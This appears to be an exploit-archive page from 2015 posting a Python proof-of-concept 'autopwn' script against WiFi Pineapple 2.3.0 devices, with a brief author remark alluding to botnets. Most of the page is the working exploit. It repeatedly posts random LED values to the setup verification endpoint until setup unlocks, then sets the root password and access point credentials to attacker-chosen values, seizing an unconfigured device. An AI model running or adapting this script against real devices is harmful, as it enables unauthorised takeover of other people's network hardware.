Pineapple 2.3.0 Autopwn Script



EKU-ID: 5021 CVE: OSVDB-ID:
Author: Electric Mind Published: 2015-08-11 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


I have wrote PoC half a year ago, because i needed to try it on my Chinese router, and it still works on freshly purchased pineapple devices. (hello from Defcon ;) )
And guys, it’s not a talk for the defcon, especially if you have done a botnet based on that shit… ;)
See ya tomorrow at WiFi village...

POC is below:


#!/usr/bin/env python

from random import choice
from urllib import urlencode
from httplib import HTTPConnection


settings = {
    "ip": "172.16.42.1",
    "port": 1471,
    "root_password": "toor",
    "ap_ssid": "AccessPoint",
    "ap_password": "password"
}

parameters = ('amber', 'blue', 'red',)
values = ('on', 'off', 'blink',)

connection = HTTPConnection(settings["ip"], settings["port"])
php_session = ""

while True:
    post_data = "{}&verify_pineapple=true".format(urlencode(dict((parameter, choice(values),) for parameter in parameters)))
    connection.request("POST", "/?action=verify_pineapple", post_data, {"Content-type": "application/x-www-form-urlencoded", "Connection": "keep-alive", "Cookie" : php_session})
    response = connection.getresponse()
    php_session = php_session or response.getheader("set-cookie").split(";")[0]
    if "action=set_password" in response.read():
      connection.request("POST", "/?action=set_password", "password={0}&password2={0}&set_password=true&eula=true&sw_license=true".format(settings["root_password"]), {"Content-type": "application/x-www-form-urlencoded", "Cookie": php_session})
      connection.getresponse().read()
      connection.request("POST", "/?action=set_ssid", "ssid={0}&password={1}&password2={1}&set_ssid=true".format(settings["ap_ssid"], settings["ap_password"]), {"Content-type": "application/x-www-form-urlencoded", "Cookie": php_session})
      connection.getresponse().read()
      connection.request("GET", "/?action=finish")
      print "Setup finished"
      break